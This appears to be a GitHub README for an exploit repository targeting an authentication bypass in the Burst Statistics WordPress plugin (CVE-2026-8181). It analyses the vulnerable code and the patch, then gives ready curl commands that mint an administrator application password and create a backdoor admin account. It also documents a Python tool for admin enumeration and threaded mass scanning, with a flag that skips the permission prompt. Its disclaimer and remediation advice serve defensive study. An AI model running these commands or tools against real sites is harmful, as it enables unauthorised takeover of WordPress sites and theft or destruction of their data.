Yucaerin/CVE-2026-8181

GitHub: Yucaerin/CVE-2026-8181

Stars: 0 | Forks: 1

# CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Authentication Bypass to Admin Account Takeover **Vulnerability Summary** The vulnerability stems from the `is_mainwp_authenticated()` function in `class-mainwp-proxy.php`. This function calls `wp_authenticate_application_password()` and only checks whether the result is a `WP_Error`. It does **not** verify whether the result is actually a successful `WP_User` object. When WordPress's internal filter `application_password_is_api_request` returns `false` — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns `null` instead of a `WP_Error` or `WP_User`. Because `null` is not a `WP_Error`, the check passes, and the attacker's chosen admin user is set as the current user via `wp_set_current_user()`. Once the current user is switched to an administrator, subsequent capability checks pass. The attacker can then reach the `/burst/v1/mainwp-auth` REST endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent, full admin-level access. **Affected Plugin** | Field | Value | |---|---| | **Plugin Name** | Burst Statistics – Privacy-Friendly WordPress Analytics | | **Plugin Slug** | `burst-statistics` | | **Affected Versions** | 3.4.0 – 3.4.1.1 | | **Patched Version** | 3.4.2 | | **CVE ID** | CVE-2026-8181 | | **CVSS Score** | 9.8 (Critical) | | **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **Vulnerability Type** | Authentication Bypass (Improper Authentication) | | **CWE** | CWE-287 — Improper Authentication | | **Impact** | Full Site Takeover — Admin Account Takeover | **What Attackers Can Do** | Capability | Impact | |---|---| | Mint Application Password for any admin | **Persistent Admin Access** | | Create new admin accounts via REST API | **Account Proliferation** | | Install plugins / themes | **Remote Code Execution** | | Edit posts, pages, and settings | **Site Defacement** | | Export or delete all site data | **Data Destruction / Exfiltration** | | Access WooCommerce / customer data | **Data Breach** | **Technical Analysis** ### Plugin Initialization and the Vulnerable Gate Burst Statistics initializes during WordPress's `plugins_loaded` hook at priority 9, inside `class-burst.php`: // class-burst.php, line 118 if ( $this->has_admin_access() ) { $this->admin = new Admin(); $this->admin->init(); ... } `has_admin_access()` is the gatekeeper for all admin functionality. It checks for the `X-BurstMainWP` header and calls into the vulnerable function: // trait-admin-helper.php, lines 202-211 if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) { $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy(); if ( $mainwp_proxy->is_mainwp_authenticated() ) { return burst_loader()->has_admin_access = true; } ... } ### The Vulnerable Function: `is_mainwp_authenticated()` // class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1) public function is_mainwp_authenticated(): bool { $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) ); if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) { $credentials = base64_decode( substr( $auth_header, 6 ), true ); if ( ! $credentials ) { return false; } $parts = explode( ':', $credentials, 2 ); if ( count( $parts ) !== 2 ) { return false; } $username = $parts[0]; $password = $parts[1]; // VULNERABLE: wp_authenticate_application_password() returns null // outside the REST API authentication flow $is_valid = wp_authenticate_application_password( null, $username, $password ); // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES! if ( is_wp_error( $is_valid ) ) { return false; } $user = get_user_by( 'login', $username ); if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) { return false; } wp_set_current_user( $user->ID ); return true; } return false; } ### Why `wp_authenticate_application_password()` Returns `null` WordPress internal function `wp_authenticate_application_password()` has a filter: if ( ! apply_filters( 'application_password_is_api_request', false ) ) { return null; // Not an API request, skip app password auth } When called **outside** the REST API authentication flow, this returns `null`. The Burst Statistics code only checked `is_wp_error($is_valid)` — `null` is not a `WP_Error`, so the check incorrectly passes. ### Execution Path to Admin Takeover 1. Attacker sends `X-BurstMainWP: 1` header with any request 2. `has_admin_access()` triggers `is_mainwp_authenticated()` 3. `wp_authenticate_application_password()` returns `null` (not in API context) 4. `is_wp_error(null)` = `false` → check **passes** 5. `wp_set_current_user($admin_id)` executes 6. Current user is now the chosen administrator 7. Attacker POSTs to `/burst/v1/mainwp-auth` 8. `handle_auth_request()` mints a WordPress Application Password 9. Token returned as `base64(username:app_password)` 10. Attacker uses this token for persistent admin REST API access ### Patch Analysis (3.4.2) // class-mainwp-proxy.php, lines 399-415 (patched 3.4.2) $allow_application_password_request = static function (): bool { return true; }; add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 ); $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] ); remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 ); if ( ! $authenticated_user instanceof \WP_User ) { return false; } if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) { return false; } Fixes applied: - Force `application_password_is_api_request` filter to `true` so actual password validation occurs - Check that the result is a `WP_User` instance (not `null`) - Use `hash_equals()` to verify username match Additionally, the `check_auth_permission()` for the REST endpoint was hardened to require `current_user_can('manage_burst_statistics')` **and** explicit nonce verification for cookie-authenticated requests. **Proof of Concept** ### Manual cURL # Step 1: Verify target is vulnerable (mint Application Password) curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \ -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \ -H 'X-BurstMainWP: 1' \ -H 'Content-Type: application/json' \ -d '{}' # Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"} # Step 2: Decode token echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d # admin:Bci36pdotH0MKmbM3WXZF4ev # Step 3: Use Application Password to create a new admin curl -X POST 'https://target.com/wp-json/wp/v2/users' \ -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \ -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&email=attacker@example.com' ### Python Exploit Tool The `exploit_burst_statistics.py` script automates the full attack chain: - **Phase 0**: Version detection via `readme.txt`, plugin header, or asset query strings - **Phase 1**: Admin username enumeration via REST API, author pages, or common username list - **Phase 2**: Auth bypass with `X-BurstMainWP: 1` + fake Basic Auth to mint token - **Phase 3**: Token verification and structure validation - **Mass Scanner**: Threaded multi-target scanning with real-time vulnerable target logging **Exploit Features** - Unauthenticated — no prior access required - Single HTTP request to mint persistent Application Password - Auto-detects Burst Statistics version and skips patched targets - Auto-enumerates admin username if not provided - Supports both pretty permalinks (`/wp-json/`) and ugly permalinks (`/?rest_route=`) - Mass scanning with `ThreadPoolExecutor` - Real-time file write — vulnerable targets saved immediately without waiting for scan completion - Thread-safe file locking **Usage** ### Single Target (Auto-Enumerate Admin) python3 exploit_burst_statistics.py -t http://target.com --no-confirm ### Single Target (Known Admin Username) python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm ### Mass Scan Create `targets.txt`: target1.com target2.com:8080 192.168.1.50 python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm ### Options | Flag | Description | |---|---| | `-t, --target` | Single target URL | | `-l, --list` | File with target list (one per line) | | `-T, --threads` | Threads for mass scan (default: 10) | | `-o, --output` | Output file for results (default: `result_burst_statistics.txt`) | | `-u, --username` | Known admin username (skip enumeration) | | `-v, --verbose` | Verbose debug output | | `--timeout` | Request timeout in seconds (default: 20) | | `--no-confirm` | Skip permission confirmation prompt | **Fix Recommendations** For developers and site owners: 1. **Update immediately** to Burst Statistics **3.4.2** or later 2. If unable to update, temporarily disable the plugin 3. After updating, revoke all existing Application Passwords for admin accounts: - WP Admin → Users → [Admin] → Application Passwords → Revoke All 4. Check for unauthorized admin accounts or unexpected user creation 5. Review server logs for requests containing `X-BurstMainWP: 1` header **Timeline** | Date | Event | |---|---| | 2026-05-08 | CVE reserved | | 2026-05-11 | Vendor notified | | 2026-05-13 | Publicly disclosed | | 2026-05-13 | Patch released (v3.4.2) | | 2026-05-15 | Active exploitation reported in the wild | **Researcher** - Credit: [Chloe Chamberland — Wordfence PRISM](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland) **References** - [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover) - [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-8181) - [Patch Diff — class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.2/includes/Frontend/class-mainwp-proxy.php) - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) **Disclaimer** This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.